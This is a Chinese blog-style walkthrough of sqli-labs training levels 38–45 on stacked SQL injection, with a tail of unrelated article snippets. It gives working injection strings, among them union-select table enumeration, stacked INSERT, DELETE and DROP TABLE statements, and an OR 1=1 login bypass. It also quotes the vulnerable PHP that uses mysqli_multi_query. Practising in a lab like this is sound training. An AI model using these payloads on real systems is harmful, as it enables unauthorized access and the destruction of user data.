sqli-labs靶场详解(less38-less45)

news2024/11/13 14:56:48

堆叠注入


less-38

less-38

?id=1' and 1=1;%00 成功

?id=1' and 1=2;%00 失败

不是吧 这就出来了?

?id=1' order by 4;%00 报错 4列不行

?id=0' union select 1,2,3;%00 显示位置为2,3

?id=0' union select 1,database(),3;%00 数据库为security

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00  不至于吧 这就出来了 

看源码 

也没啥问题 于是发现这已经到了第三大关了 堆叠注入

搜索教程看看啥叫堆叠注入

搜索资料

例如以下这个例子:
用户输入:?id=1; delete from products服务器端生成的SQL语句为:select * from products where productid=1; delete from products当执行查询之后,第一条显示查询信息,第二条则是将整个表删除。

适用条件
用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤
mysqli_multi_query()函数也可以造成堆叠注入

我们本次尝试的语句:
/?id=1';insert into users(id,username,password) values('100','abc','abc'); --+

去数据库中查看

成功

代码分析

<?php
if(isset($_GET['id'])) //判断id参数是否存在
{
$id=$_GET['id']; //获取id参数
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);//用于连接数据库
if (mysqli_connect_errno($con1))//查看是否连接成功
{
    echo "Failed to connect to MySQL: " . mysqli_connect_error();//失败报错
}
else//连接指定security数据库
{
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//查询语句 注入点
if (mysqli_multi_query($con1, $sql))//一次执行可以执行多条语句 这个函数造成的堆叠注入
{
    if ($result = mysqli_store_result($con1))//将sql语句查询的结果保存到内存中 并返回一个对象
    {
        if($row = mysqli_fetch_row($result))//获取第一行数据
        {
            printf("Your Username is : %s", $row[1]);//第一列数据
            printf("Your Password is : %s", $row[2]);//第二列数据
        }
    }
    if (mysqli_more_results($con1))
    {
    }
}
else 
    {
	print_r(mysqli_error($con1)); 
    }
mysqli_close($con1);
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

less-39

?id=1 and 1=1 成功

?id=1 and 1=2 失败

整型注入点

使用堆叠注入

?id=1;insert into users(id,username,password) values('101','abc','abc'); --+

代码分析

和上一关没区别 区别就是对参数的处理一个是整型 一个是单引号字符型


less-40

判断注入点

?id=1 and 1=1 成功

?id=1 and 1=2 成功

?id=1' 无输出结果 

以上分析 估计就是 无报错函数 为单引号字符型注入点

?id=1') and 1=1;%00 成功

?id=1') and 1=2;%00 失败

代码分析

同理 对参数的处理方式为')


less-41

?id=1' 不显示结果 证明还是和单引号有关

笑死我了 当成字符型试了好久 结果是整型

?id=1 and 1=1 成功

?id=1 and 1=2 无返回结果

和39关一样 就是没有了报错函数


less-42

感觉像二次注入 先不进行抓包 先看看登录界面注册页面都是什么

经过测试 username处是没有注入点的 不能使用二次注入 并且新建一次用户后不让我继续新建用户了 

发现password的位置报错了

&login_password=123' and '1'='1 不报错了估计是单引号 试试堆叠注入

&login_password=123' and '1'='1';insert into users(id,username,password) values('104','abc','abc');

报错函数也ok


less-43

和42关一样 我们这题加入不知道账号密码

该如何做

在密码位置有报错

不报错了 确定注入点了

判断出有3列

通过布尔的方式观察页面 列数不同

页面黑屏 但是并没有显示位置 联合查询不行

依旧是报错注入

但是考察的不是报错注入 而是叠加注入

我们通过报错注入发现有admin账户

使用叠加注入删除

login_user=tzy&login_password=tzy');delete from users where username='admin';--+&mysubmit=Login

admin用户不见了


less-44

采用盲注 无报错 百度搜的教程都是没有判断注入过程的 直接使用叠加注入 

login_user=tzy&login_password=tzy';delete from users where username='admin1';&mysubmit=Login

删除admin1用户


less-45

做到这题我才明白这种题怎么做

首先选择一个经常出现的用户名 采用万能密码登录 

a') OR 1 = 1#   采用万能密码有好处 就是可以确定注入点类型 如果符号引发报错也登录不成功 如果因为符号引发的报错会导致永真的条件失效 从而无法登陆

登陆成功 证明有注入点 接下来使用叠加注入 每次退出重新登陆添加构造的语句 其实都不用万能密码登录 因为 反正后面的sql语句都会执行 前面的执行还是不执行都不影响

a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#

a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#

a') OR 1 = 1;DELETE FROM WhiteMoon;#

a') OR 1 = 1;DROP TABLE WhiteMoon;#

最后发现 多条语句 前一条语句不报错的情况下 才能执行第二条语句

&login_password=tzy;DELETE FROM users WHERE username='admin2'; 不可执行

&login_password=tzy');DELETE FROM users WHERE username='admin2'; 可执行

后端sql语句

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1271463.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HarmonyOS入门开发(三) 持久化存储Preferences

接入鸿蒙几天以来&#xff0c;发现各种和Android不一样的地方&#xff0c;今天来看一下Preferences存储 在Android中比如有ShardPreferences、Mmkv这些持久化存储方式&#xff0c;开发起来很方便&#xff0c;读取速度也很快&#xff0c;在鸿蒙里面也提供了对应的持久化存储方案…

plist文件在线生成网页配置苹果ios系统ipa文件下载

您可以进入首页—工具箱—plist文件在线制作 您可以进入控制台—plist文件 ●也可以直接访问&#xff1a;咕噜分发内测平台-苹果ios系统应用安卓apk安全漏洞扫描提供商 ●应用名称_包体的bid-下载地址-图标地址 ●如果不知道怎么查看苹果包名 可以通过咕噜分发【工具箱】-【IOS…

网络篇---第九篇

系列文章目录 文章目录 系列文章目录前言一、说说TCP/IP四层网络模型二、说说域名解析详细过程?三、 IP 地址分为几类,每类都代表什么,私网是哪些?前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女…

什么是好的FPGA编码风格?(2)--多参考设计软件的语言模板(Language Templates)

什么是语言模板&#xff1f; 不论是Xilinx的Vivado&#xff0c;还是Altera的Quartus II&#xff0c;都为开发者提供了一系列Verilog、SystemVerilog、VHDL、TCL、原语、XDC约束等相关的语言模板&#xff08;Language Templates&#xff09;。 在Vivado软件中&#xff0c;按顺序…

版本控制系统Git学习笔记-Git基础操作

文章目录 概述一、获取仓库1.1 初始化仓库1.2 克隆仓库 二、文件状态及更新操作2.1 文件状态变化周期2.2 检查文件状态2.2.1 完整查看状态2.2.2 简要查看状态 2.3 跟踪新文件2.4 暂存已修改的文件2.5 忽略文件2.5.1 文件 .gitignore 的格式规范如下&#xff1a;2.5.2 glob模式格…

ethtool工具添加并验证网口

Filesystem Packages->console->network->ethtool 命令描述&#xff1a; ethtool 是用于查询及设置网卡参数的命令。 使用命令&#xff1a; ethtool ethx //查询ethx网口基本设置&#xff0c;其中 x 是对应网卡的编号&#xff0c;如eth0、eth1等等 ethtool –…

docker 学习总结

docker 概念 -云计算的基石 docker的一个软件&#xff1a; 开源 docker基本组成 docker主机(Host)&#xff1a;安装了Docker程序的机器&#xff08;Docker直接安装在操作系统之上&#xff09;&#xff1b; docker仓库(Registry)&#xff1a;用来保存各种打包好的软件镜像&a…

玩转大数据:3-Hadoop家族的力量与挑战

引言 Hadoop作为一个强大的大数据处理框架&#xff0c;以其分布式计算和存储能力在业界备受关注。然而&#xff0c;Hadoop在应用场景、适用范围、社区支持以及后续持续发展等方面也面临着一些挑战。本文将围绕Hadoop的生态应用&#xff0c;以及来自其他生态的挑战&#xff0c;…

银河麒麟v10——植物大战僵尸原版——2023教程

1、原版安装包如下&#xff1a; 阿里云盘分享https://www.alipan.com/s/Qn5DpDKs2YT 2、麒麟信息&#xff1a; 3、安装命令&#xff1a; 注意&#xff1a;最后一步&#xff0c;需要先解压tar包&#xff0c;再切到PlantsVsZombies.exe所在目录下&#xff0c;再执行启动命令&a…

软件测试jmeter基本使用

1安装与配置 1.jdk下载 下载地址&#xff1a;https://www.oracle.com/java/technologies/downloads/#jdk18-windows&#xff08;压缩包中会给&#xff09; 2.jmeter下载 Apache JMeter - Download Apache JMeter&#xff08;压缩包中有&#xff09; 3.操作教学 打开软件后新…

前端:实现div的隐藏与显示

效果 完整代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-widt…

快速排序算法的代码及算法思想

快速排序&#xff08;Quick Sort&#xff09;是一种常用的排序算法&#xff0c;他的时间复杂度为O(nlogn) 算法思想: 通过一趟排序将待排序的数据分割成独立的两部分&#xff0c;其中一部分的所有数据都比另一部分的所有数据小&#xff0c;然后再对这两部分数据分别进行快速排…

juniper EX系列交换机 CLI命令行操作模式

JUNOS有两种模式&#xff1a;操作模式和配置模式。 1&#xff0c;操作模式 监控和排错 软件&#xff0c;网络连接、路由器硬件。 2&#xff0c;配置模式 testlab2> 配置路由器包括&#xff1a;interface、路由信息、路由协议、用户访问、系统硬件参数。 testlab2> …

音视频开发:音频fdk-aac编码

编码的大概流程见下图 1.获取编码器: avcodec_find_encoder_by_name("libfdk_aac") 2.检查PCM格式是否被编码器支持 3.创建编码上下文: AVCodecContext *ctx avcodec_alloc_context3(codec) 4.给上下文设置参数 5.打开编码器: avcodec_open2 6.创建AVFrame: a…

NoSQL 数据建模错误会降低性能

数据建模错误是破坏性能的最简单方法之一。当您使用 NoSQL 时&#xff0c;特别容易搞砸&#xff0c;&#xff08;讽刺的是&#xff09;NoSQL 往往用于对性能最敏感的工作负载。NoSQL 数据建模最初可能看起来非常简单&#xff1a;只需对数据进行建模以适应应用程序的访问模式。但…

SAP 如何检查已安装的SAP UI5 版本

第一个方法是直接从FLP中查看 但是部分高版本的FLP中没有这个about&#xff0c; 那么在当前界面可以使用&#xff1a;CTRL ALT SHIFT S 查看当前版本 根据此版本&#xff0c;去进行你的UI5的开发吧

字符串函数-C语言

介绍 字符串函数&#xff0c;简单说&#xff0c;就是处理字符串的函数&#xff0c;头文件是string.h&#xff0c;以下是今天的讲解中会讲到的一系列字符串函数 头文件&#xff1a;#include<string.h>strlen&#xff1a;求字符串长度strcpy&#xff1a;拷贝字符串strcat&…

物联网实训室虚拟仿真软件建设方案

一、概述 物联网实训室虚拟仿真软件旨在紧密围绕立德树人的根本任务&#xff0c;充分依托先进的数字技术&#xff0c;并对接物联网行业的发展趋势和人才需求。通过对比真实企业工作环境&#xff0c;融合创新创业教育基因&#xff0c;秉承虚拟仿真技术与教育教学深度融合的理念&…

艺海泛舟——尹星从艺六十年作品展暨学术交流首展作品(二)

简历&#xff1a; 1944年1月25日出生于山西省阳高县&#xff0c;内蒙古师范学院艺术系美术专业&#xff0c;师从水彩之父李剑晨&#xff0c;北京京华美术学院创立者邱石冥&#xff0c;徐坚。与吴冠中&#xff0c;朱德群&#xff0c;赵无极&#xff0c;杨飞云是同门。擅长&…

解决CentOS下PHP system命令unoconv转PDF提示“Unable to connect or start own listener“

centos系统下&#xff0c;用php的system命令unoconv把word转pdf时提示Unable to connect or start own listene的解决办法 unoconv -o /foo/bar/public_html/upload/ -f pdf /foo/bar/public_html/upload/test.docx 2>&1 上面这个命令在shell 终端能执行成功&#xff0c…